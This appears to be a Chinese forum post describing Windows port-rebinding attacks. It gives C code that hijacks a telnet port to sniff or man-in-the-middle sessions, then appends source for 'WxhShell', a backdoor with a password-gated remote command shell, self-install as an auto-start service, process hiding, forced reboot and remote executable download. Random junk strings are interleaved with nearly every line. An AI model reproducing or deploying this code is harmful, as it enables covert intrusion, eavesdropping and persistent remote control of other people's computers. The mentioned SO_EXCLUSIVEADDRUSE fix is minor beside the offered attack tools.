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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %p60pn[(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3T/j5m}+!  
$\!;*SSj  
  saddr.sin_family = AF_INET; <Y2!c,"  
fLoVcl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <6~;-ZQY  
}aM`Jp-O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |]cDz  
wS0bk<(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B-|Zo_7  
UYOn p7R<  
  这意味着什么?意味着可以进行如下的攻击: <pUou  
<;e#"(7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |u;PU`^-z  
}2,#[m M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6S[D"Q94  
3= zQ U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *KH@u  
8|NJ(D-$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yo,!u\^x  
r&sOM_BUF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p&mtKLv  
G9inNz*Cx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yWtr,  
HjS^ nYl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kG$8E  
j]"xck  
  #include 5qSZ>DZ  
  #include MjC%6%HI  
  #include k#*yhG,]'  
  #include    <SZO- -+lB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a[g|APZz  
  int main() CZRo{2!?U  
  { Z<<gz[$+p  
  WORD wVersionRequested; 1T,PC?vr{  
  DWORD ret; by[i"!RCu  
  WSADATA wsaData; UiZp -Y%ki  
  BOOL val; C}'="g^=sl  
  SOCKADDR_IN saddr; Ef!p:HBJ  
  SOCKADDR_IN scaddr; ~9{;V KgK  
  int err; /+`<X%^U  
  SOCKET s; {taVAcb  
  SOCKET sc;  :$c:3~  
  int caddsize; '2$!thm  
  HANDLE mt; DF|s,J`98  
  DWORD tid;   %H@76NvEz  
  wVersionRequested = MAKEWORD( 2, 2 ); zn1Rou]6  
  err = WSAStartup( wVersionRequested, &wsaData ); ~C7<a48x  
  if ( err != 0 ) { ]\,uF8gg)  
  printf("error!WSAStartup failed!\n"); `lezJ (Xm  
  return -1; 7O{O')o!  
  } rE `}?d  
  saddr.sin_family = AF_INET; Wx)U<:^e  
   fR%1FXpK&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qK vr*xlC  
hUvuq,LH_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >-5Gt  
  saddr.sin_port = htons(23); SuH.lCF-g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?VP!1O=J  
  { !LOors za  
  printf("error!socket failed!\n"); g^$11  
  return -1; {a8^6dm*E  
  } DE\bYxJ  
  val = TRUE; uE#,c\[8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g+ 1=5g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 35 5Sd;*  
  { D>b5Uwt  
  printf("error!setsockopt failed!\n"); auTTvJ  
  return -1; 'Rd*X6dv  
  } f H|QAMfOu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =Z .V+4+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i(yAmo9h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qJXsf M6  
Wo9psv7.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tb1}XvZ  
  { ]ZzG!7  
  ret=GetLastError(); [ 7Lxt  
  printf("error!bind failed!\n"); !_-sTZ  
  return -1; 795Jwv  
  }  Vm;Q w  
  listen(s,2); j-`X_8W  
  while(1) ''OInfd?  
  { wYO"znd  
  caddsize = sizeof(scaddr); O< tnM<"(  
  //接受连接请求 B5,QJ W*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k)usUP'  
  if(sc!=INVALID_SOCKET) hdr}!w V  
  { ,mjfZ*N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gr`Ar;  
  if(mt==NULL) Z\=04[  
  { j H.Ju|nO  
  printf("Thread Creat Failed!\n"); hQ}7Z&O  
  break; C nSX  
  } Xvj=*wg\Y  
  } q bZ,K@0  
  CloseHandle(mt); s w.AfRQP  
  } EhIV(q9x  
  closesocket(s); 0YpiHoM  
  WSACleanup(); 2@R8P~^W  
  return 0; fQW_YQsb  
  }   P A6KX5  
  DWORD WINAPI ClientThread(LPVOID lpParam) nJ*mEB  
  { '`]n_$f'  
  SOCKET ss = (SOCKET)lpParam; De nt?  
  SOCKET sc; @9uYmkcV  
  unsigned char buf[4096]; g7 Md  
  SOCKADDR_IN saddr; -e{)v'C)  
  long num; En,)}yI  
  DWORD val; ~i }+P71  
  DWORD ret; }xf='lE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EN-H4F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?#*  
  saddr.sin_family = AF_INET; v=*Bb3dt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /}nrF4S  
  saddr.sin_port = htons(23); _D>as\dP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uqa4&2(I=j  
  { -4?xwz9o$7  
  printf("error!socket failed!\n"); G=C5T(  
  return -1; xdL/0 N3  
  } 50`iCD  
  val = 100; 'o/N}E!Pt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [EmOA.6  
  { j(%gMVu  
  ret = GetLastError(); 'z-;*!A}j  
  return -1; lP@)   
  } C,{F0-D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XatA8(_,5  
  { Cgz&@@j,]  
  ret = GetLastError(); ^$=tcoQG  
  return -1; :J Gl>V  
  } WjY{rM,K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vr{'FMc  
  { fwi};)K  
  printf("error!socket connect failed!\n"); 1C0Y0{6,  
  closesocket(sc); !_U37Uj<m  
  closesocket(ss); [arTx ^  
  return -1; Hz]4AS  
  } !f\?c7  
  while(1) Gpdv]SON{  
  { dU ,)TKQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1iNsX\M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oNuPP5d[]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }iua] 4 |  
  num = recv(ss,buf,4096,0); 1m>^{u  
  if(num>0) |oe!P}u  
  send(sc,buf,num,0); ?{ B[^  
  else if(num==0) TsaW5ho<p  
  break; 7_Ba3+9jpa  
  num = recv(sc,buf,4096,0); DO&+=o`"  
  if(num>0) Hs"% S  
  send(ss,buf,num,0); NqJ<!q)  
  else if(num==0) ptV4s=G2  
  break; L289'Gzg  
  } ;RWW+x8IB  
  closesocket(ss); /~i.\^HX  
  closesocket(sc); Gr5`1`8|  
  return 0 ; ~@T+mHny  
  } X0y?<G1( a  
i>Z|6 5  
Lw>-7)  
========================================================== E tJ~dL)  
brg":V1a  
下边附上一个代码,,WXhSHELL j|VXC(6 P,  
Qm.z@DwFM{  
========================================================== ;W7hc!  
mi7sBA9L8  
#include "stdafx.h" ==]Z \jk  
wVgi+P  
#include <stdio.h> ?. zu2  
#include <string.h> bK3B3r#$  
#include <windows.h> |}_gA  
#include <winsock2.h> }FPM-M3y  
#include <winsvc.h> sA/,+aM  
#include <urlmon.h> <9ma(PFa  
)K{o<m~WAo  
#pragma comment (lib, "Ws2_32.lib") <1aa~duT  
#pragma comment (lib, "urlmon.lib") uuu\f*<  
IWAj Mwo  
#define MAX_USER   100 // 最大客户端连接数 7{n\y l?  
#define BUF_SOCK   200 // sock buffer f;.SSiT  
#define KEY_BUFF   255 // 输入 buffer zzX<?6MS  
\Y*!f|=of  
#define REBOOT     0   // 重启 3YR* ^  
#define SHUTDOWN   1   // 关机 6#<Ir @z  
]{YN{  
#define DEF_PORT   5000 // 监听端口 ! L4dUMo  
jEUx q%BH  
#define REG_LEN     16   // 注册表键长度 B-!guf rnY  
#define SVC_LEN     80   // NT服务名长度 8NnhT E  
"E.\6sC  
// 从dll定义API xM&EL>m>L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K<c2PFo)Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y:Z$LmPc<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z{%oJ_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \WWG>OUh.U  
~\2;i]|  
// wxhshell配置信息 ucw`;<d8  
struct WSCFG { 7g-Dfg.w  
  int ws_port;         // 监听端口 t-_#Q bzE{  
  char ws_passstr[REG_LEN]; // 口令 f, |QAj=a  
  int ws_autoins;       // 安装标记, 1=yes 0=no avlqDi1l  
  char ws_regname[REG_LEN]; // 注册表键名 I$n+DwKcN  
  char ws_svcname[REG_LEN]; // 服务名 y'^F,WTM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 neF8V"-u&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a;%I\w;2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5)w4)K-%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SGt5~T xj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W:WQaF`2x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cI5N"U@yN  
5i6VZv  
}; (I[s3EnhS  
> 84e`aGE  
// default Wxhshell configuration UanEzx%  
struct WSCFG wscfg={DEF_PORT, W/sY#"  
    "xuhuanlingzhe", yKYl@&H/%  
    1, @9aGz6k+  
    "Wxhshell", hje! w`  
    "Wxhshell", /w0sj`;"  
            "WxhShell Service", a_Jb> }  
    "Wrsky Windows CmdShell Service", *m*`}9  
    "Please Input Your Password: ", Wu,S\!  
  1, }7%9}2}Iw  
  "http://www.wrsky.com/wxhshell.exe", yx2z%E  
  "Wxhshell.exe" YV-j/U{&  
    }; 1DUb [W8  
q]K'p,'  
// 消息定义模块 F'1k<V?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sMP:sCRC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #00D?nC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^ESUMXb  
char *msg_ws_ext="\n\rExit."; K!p,x;YX  
char *msg_ws_end="\n\rQuit."; R }1W  
char *msg_ws_boot="\n\rReboot..."; 0Q7MM6  
char *msg_ws_poff="\n\rShutdown..."; sdrWOq  
char *msg_ws_down="\n\rSave to "; " CM ucK  
c+8V|'4  
char *msg_ws_err="\n\rErr!"; _C20 +PMO  
char *msg_ws_ok="\n\rOK!"; 7{4w 2)  
YGETMIT(  
char ExeFile[MAX_PATH]; Y3k[~A7X  
int nUser = 0; e gI&epN  
HANDLE handles[MAX_USER]; 19p8B&  
int OsIsNt; k=`$6(>Fz  
"CBRPp  
SERVICE_STATUS       serviceStatus; #BsW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6x/s|RWL1  
}-74 f  
// 函数声明 r_^)1w  
int Install(void); Tpb"uBiXoo  
int Uninstall(void); E~qQai=]  
int DownloadFile(char *sURL, SOCKET wsh); g rspt}  
int Boot(int flag); t{zBC?c R  
void HideProc(void); `;$h'eI9  
int GetOsVer(void); ->h5T%sn  
int Wxhshell(SOCKET wsl); h,t:]  
void TalkWithClient(void *cs); QXs8:;T  
int CmdShell(SOCKET sock); q6R Eh;$  
int StartFromService(void); B)M& \: _  
int StartWxhshell(LPSTR lpCmdLine); &pL/ @2+  
6T_K9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lc|{aN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P 6.!3%y  
TcJ$[  
// 数据结构和表定义 tb,9a!?  
SERVICE_TABLE_ENTRY DispatchTable[] = P\AqpQv  
{ t+O e)Ns  
{wscfg.ws_svcname, NTServiceMain}, ,5{$+  
{NULL, NULL} 'C^;OjAg  
}; p?JQ[K7i  
GJ,a RI  
// 自我安装 'OD) v  
int Install(void)  L=]p_2+  
{ xzr<k Sp  
  char svExeFile[MAX_PATH]; [pL*@9Sa&  
  HKEY key; O%&cE*eX  
  strcpy(svExeFile,ExeFile); -uj3'g (;w  
^s-25 6iI  
// 如果是win9x系统,修改注册表设为自启动 cS(;Qs]Q  
if(!OsIsNt) { k"0;D-lTZ>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0e16Ow6\!1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8vSIf+  
  RegCloseKey(key); hF>u)%J/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @PX\{6&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2"X~ju  
  RegCloseKey(key); id?E)Jy  
  return 0; 2.nE k  
    } <*wM=aq  
  } r[pF^y0   
} Da_()e[9p  
else { 9->q|E4  
y`S o&:1  
// 如果是NT以上系统,安装为系统服务 m*Cu-6&qd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mp1ttGUtM  
if (schSCManager!=0) QIK 9  
{ `N'V#)Pi  
  SC_HANDLE schService = CreateService (`c G  
  ( :h*a rT4{  
  schSCManager, Jzex]_:1~  
  wscfg.ws_svcname, 3{ "O,h  
  wscfg.ws_svcdisp, .3X Y&6  
  SERVICE_ALL_ACCESS, I 8z G~L%"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d:rGyA]  
  SERVICE_AUTO_START, I2[]A,f ,  
  SERVICE_ERROR_NORMAL, '3Q3lM'lh  
  svExeFile, R\O.e  
  NULL, )];aIA$  
  NULL, vFhz!P~  
  NULL, e.8$ga{  
  NULL, (>7>3  
  NULL >bIF>9T  
  ); :FHA]oec1  
  if (schService!=0) Ej"u1F14J  
  { B(,:haAr  
  CloseServiceHandle(schService); :m ZYS4L~  
  CloseServiceHandle(schSCManager); `]<`$71w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fe!9y2Mg  
  strcat(svExeFile,wscfg.ws_svcname); ^B]@Lr E^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;dZMa]X0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BJy;-(JP  
  RegCloseKey(key); +>tUz D  
  return 0; Fr [7  
    } E!mmLVa9  
  } b1-&v|L  
  CloseServiceHandle(schSCManager); <[i}n55  
} f~ U.a.Fb  
} e|lD:_1i  
s&Yi 6:J  
return 1;  v~=\H  
} v("wKHWTI@  
r*XLV{+4  
// 自我卸载 DNP@A4~  
int Uninstall(void) G%{0i20_  
{ *y]+dK&-  
  HKEY key; [po "To  
AK@L32-S  
if(!OsIsNt) { OZ(dpV9.S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d%ME@6K)  
  RegDeleteValue(key,wscfg.ws_regname); z]@6fM[  
  RegCloseKey(key); q.V-LXM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT_h!W  
  RegDeleteValue(key,wscfg.ws_regname); eUBrzoCO  
  RegCloseKey(key); rx!=q8=0R  
  return 0; $>q@SJ1q  
  } 6Q Zp@  
} |J>WC}g@n  
} 'EhBRU%  
else { ,wj"! o#  
}NCL>l;q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dh -,E  
if (schSCManager!=0) ,o#kRWRG  
{ \".^K5Pm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C9~~O~7x  
  if (schService!=0) Q[u6|jRt  
  { "484 n/D  
  if(DeleteService(schService)!=0) { Ng=ONh  
  CloseServiceHandle(schService); Lx[ ,Z,kD  
  CloseServiceHandle(schSCManager); egR-w[{  
  return 0; mUP.rb6  
  } LKF/u` 0dP  
  CloseServiceHandle(schService); Acm<-de  
  } } cNW^4F  
  CloseServiceHandle(schSCManager); m$2<`C=  
} U1R4x!ym4  
} E6MA?Ax&=  
5.0e~zlM -  
return 1; el PE%'  
} S: :>N.y  
$)Bg JDr  
// 从指定url下载文件 \_BkY%a  
int DownloadFile(char *sURL, SOCKET wsh) uGP(R=H  
{ _aS;!6b8W  
  HRESULT hr; n.}T1q|l  
char seps[]= "/"; x3G:(YfO  
char *token; xL "!~dN  
char *file; >SmV74[s2  
char myURL[MAX_PATH]; C NrII sJ  
char myFILE[MAX_PATH]; []pN$]+c  
#f,y&\Xmf  
strcpy(myURL,sURL); _}6q{}jn:c  
  token=strtok(myURL,seps); E/b"RUv}h  
  while(token!=NULL) Gh( A%x)  
  { t ?eH'*>  
    file=token; @%ECj)u`O  
  token=strtok(NULL,seps); 83Ou9E!W  
  } zGo|JF  
K\?]$dK5  
GetCurrentDirectory(MAX_PATH,myFILE); DBH#)4do@  
strcat(myFILE, "\\"); &#{dWObh  
strcat(myFILE, file); r6.d s^  
  send(wsh,myFILE,strlen(myFILE),0); ~/#1G.H  
send(wsh,"...",3,0); mTDVlw0dh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e@<?zS6  
  if(hr==S_OK) Fke//- R  
return 0; o>]`ac0b}Y  
else dY!Z  
return 1; |V,<+BEi  
t*S." q  
} hGTV;eU  
*C|  
// 系统电源模块 E8[T   
int Boot(int flag) #1nJ(-D+  
{ TLa]O1=Bf.  
  HANDLE hToken; o*S"KX $  
  TOKEN_PRIVILEGES tkp; X[$++p .  
>bo'Y9C  
  if(OsIsNt) { _GYMPq\%L#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2-+f1,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aAt>QxGQW  
    tkp.PrivilegeCount = 1; qL /7^) (  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z?]G3$i(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -0uV z)  
if(flag==REBOOT) { 2 @j";+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #s5N[uK^m  
  return 0; &:#h$`4  
} R W/z1  
else { 5jcte< 5I_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S=|@L<O  
  return 0; L@Nu/(pB=  
} LRb, VD:/Y  
  } qt e>r  
  else { q OhO qV  
if(flag==REBOOT) { {p<Zbm.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( )T[$.(  
  return 0;  a*dQ _  
} oMH.u^b]fT  
else { ^%T7.1'x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) io2)1cE&f  
  return 0; R!\EK H  
} .p` pG3  
} :Ixx<9c.  
9"{W,'r&d  
return 1; j7QX ,_Q  
} `TLzVB-j3  
{tP%epQ  
// win9x进程隐藏模块 B2=\2<  
void HideProc(void) o2H1N~e#c  
{ 3(E $I5  
"f.Z}AbP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IZ,oM!Y  
  if ( hKernel != NULL ) |,C#:"z;  
  { }WLh8i?_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d I'SwnR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JH,/jR  
    FreeLibrary(hKernel); sY SLmUZ{  
  } RzKb{> ;A  
l:B;zi`)oB  
return; 1`0#HSO  
} #s-iy+/1oN  
Y-!YhWsS  
// 获取操作系统版本 [tT8_}v$LN  
int GetOsVer(void) LaFZ?7@|}  
{ 22hSove.  
  OSVERSIONINFO winfo; V<Z'(UI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -T@`hk`  
  GetVersionEx(&winfo); ~EiH-z4U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n||A" @b\  
  return 1; (?)7)5H  
  else \;5\9B"i  
  return 0; }ET,ysa  
} ,~PYt*X4  
4<,|*hAT  
// 客户端句柄模块 ;F:fM!l=  
int Wxhshell(SOCKET wsl) zt24qTKL  
{ ;i uQ?MR3  
  SOCKET wsh; . RVVWqW  
  struct sockaddr_in client; n 1b(\PA  
  DWORD myID; Z3KO90O!8  
='?:z2lJ  
  while(nUser<MAX_USER) w&h 2y4  
{ &7mW9]  
  int nSize=sizeof(client); .1 )RW5|c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I5ss0JSl/  
  if(wsh==INVALID_SOCKET) return 1; ={2!c0s  
nwI3|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B:TR2G9UT  
if(handles[nUser]==0) e0,'+;*=g  
  closesocket(wsh); h+~P"i}&\  
else K-vWa2  
  nUser++; d;[u8t  
  } M5L{*>4|6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R{Z-m2La  
kK>Xrj6  
  return 0; >zvY\{WY  
} IV16d  
RSfM]w}Hq#  
// 关闭 socket Y&bM CI6U  
void CloseIt(SOCKET wsh) 5FKBv e@  
{ YB))S!;Ok  
closesocket(wsh); ^WYQ]@rh3  
nUser--; o?Nu:&yE  
ExitThread(0); +Lm4kA+aE5  
} "bQ[CD  
jF"YTr6  
// 客户端请求句柄 >cMd\%^t  
void TalkWithClient(void *cs) j|fd-<ng  
{ le)DgIT>=  
8ip7^  
  SOCKET wsh=(SOCKET)cs; .Ce8L&cU  
  char pwd[SVC_LEN]; OWjJxORB  
  char cmd[KEY_BUFF]; . v)mZp  
char chr[1]; *V^ #ga#A  
int i,j; &[R8Q|1 j  
8^^[XbH  
  while (nUser < MAX_USER) { /c# `5L[  
!eR3@%4  
if(wscfg.ws_passstr) { S0/usC[r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $P o}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $o?@ 0  
  //ZeroMemory(pwd,KEY_BUFF); H!IshZfktn  
      i=0; 2C^B_FUg|]  
  while(i<SVC_LEN) { LE^G&<!  
[s1pM1x  
  // 设置超时 m*0,s  
  fd_set FdRead; L6P1L)  
  struct timeval TimeOut; DC+wD Bp;  
  FD_ZERO(&FdRead); SS|z*h Z  
  FD_SET(wsh,&FdRead); ;oO v/3  
  TimeOut.tv_sec=8; }u{gR:lZ  
  TimeOut.tv_usec=0; gY AF'?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i8X`HbmN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Q0bT`/X  
=1;=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9W`Frx'h1  
  pwd=chr[0]; NmIHYN3  
  if(chr[0]==0xd || chr[0]==0xa) { B6P|Z%E;D6  
  pwd=0; V}w;Y?] J  
  break; gYop--\14]  
  } ybdd;t}&1  
  i++; xG&SX#[2  
    } +#J,BKul  
O;Y:uHf  
  // 如果是非法用户,关闭 socket t=euE{c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K r`]_m  
} 4pU>x$3$  
D<{{ :7n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !G5a*8]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &F$:Q:* *  
&:B<Q$g#  
while(1) { B#%; Qc  
V_n<?9^4  
  ZeroMemory(cmd,KEY_BUFF); X26   
f3*?MXxb16  
      // 自动支持客户端 telnet标准   K!AAGj`  
  j=0; /(C~~XP)  
  while(j<KEY_BUFF) { 7sNw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qf)$$qi  
  cmd[j]=chr[0]; vC;]jJb:  
  if(chr[0]==0xa || chr[0]==0xd) { 'BMy8  
  cmd[j]=0; %WFu<^jm  
  break; S*)1|~pRvQ  
  } E N^Uki`  
  j++; Ok-.}q>\Mv  
    } ;(6g\'m  
Rs& @4_D  
  // 下载文件 xgsjm) )  
  if(strstr(cmd,"http://")) { ^D67y%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BfTcI)  
  if(DownloadFile(cmd,wsh)) /nx'Z0&+X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :7N3N  
  else 8 (jUe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4B+9z^oQ  
  } CDy^UQb  
  else { $WQq? 1.9  
TB6m0qX(  
    switch(cmd[0]) { >"3>s%  
  #S g\q8(O  
  // 帮助 <msxHw  
  case '?': { s$h] G[x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !7B\Xl'S  
    break; )o _j]K+xI  
  } {[Q0qi =  
  // 安装 @{ ;XZb^  
  case 'i': { :B *}^g  
    if(Install()) OU DcY@x~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+"f  
    else =8 G&3 R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BG2)v.CU  
    break; vW,snxK6y&  
    } ?@6b>='!  
  // 卸载 q(^Q3  
  case 'r': { ]Z<_ " F  
    if(Uninstall()) c/W=$3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RWq{Ff}Hk  
    else /G{_7cb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Wa/g`}  
    break; 3M*Bwt;F_  
    } }w-wSkl1  
  // 显示 wxhshell 所在路径 4_M>OD/"  
  case 'p': { Q'apG)0I  
    char svExeFile[MAX_PATH]; !v#xb3"/  
    strcpy(svExeFile,"\n\r"); fg%&N2/(.B  
      strcat(svExeFile,ExeFile); _,h@:Xij  
        send(wsh,svExeFile,strlen(svExeFile),0); VU|dV\>  
    break; j|.} I  
    } V) o,1  
  // 重启   \J^  
  case 'b': { 2+8#H.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y9Y1PH7G  
    if(Boot(REBOOT)) ]bCq=6ZKR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] 7;f?+  
    else { kW=z+  
    closesocket(wsh); )bOBQbj  
    ExitThread(0); 5R MS(  
    } $e%2t^ i.g  
    break; |V[9}E: h  
    } $.6K!x{(  
  // 关机 ihL/n  
  case 'd': { 0 5\dl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =#5D(0Ab  
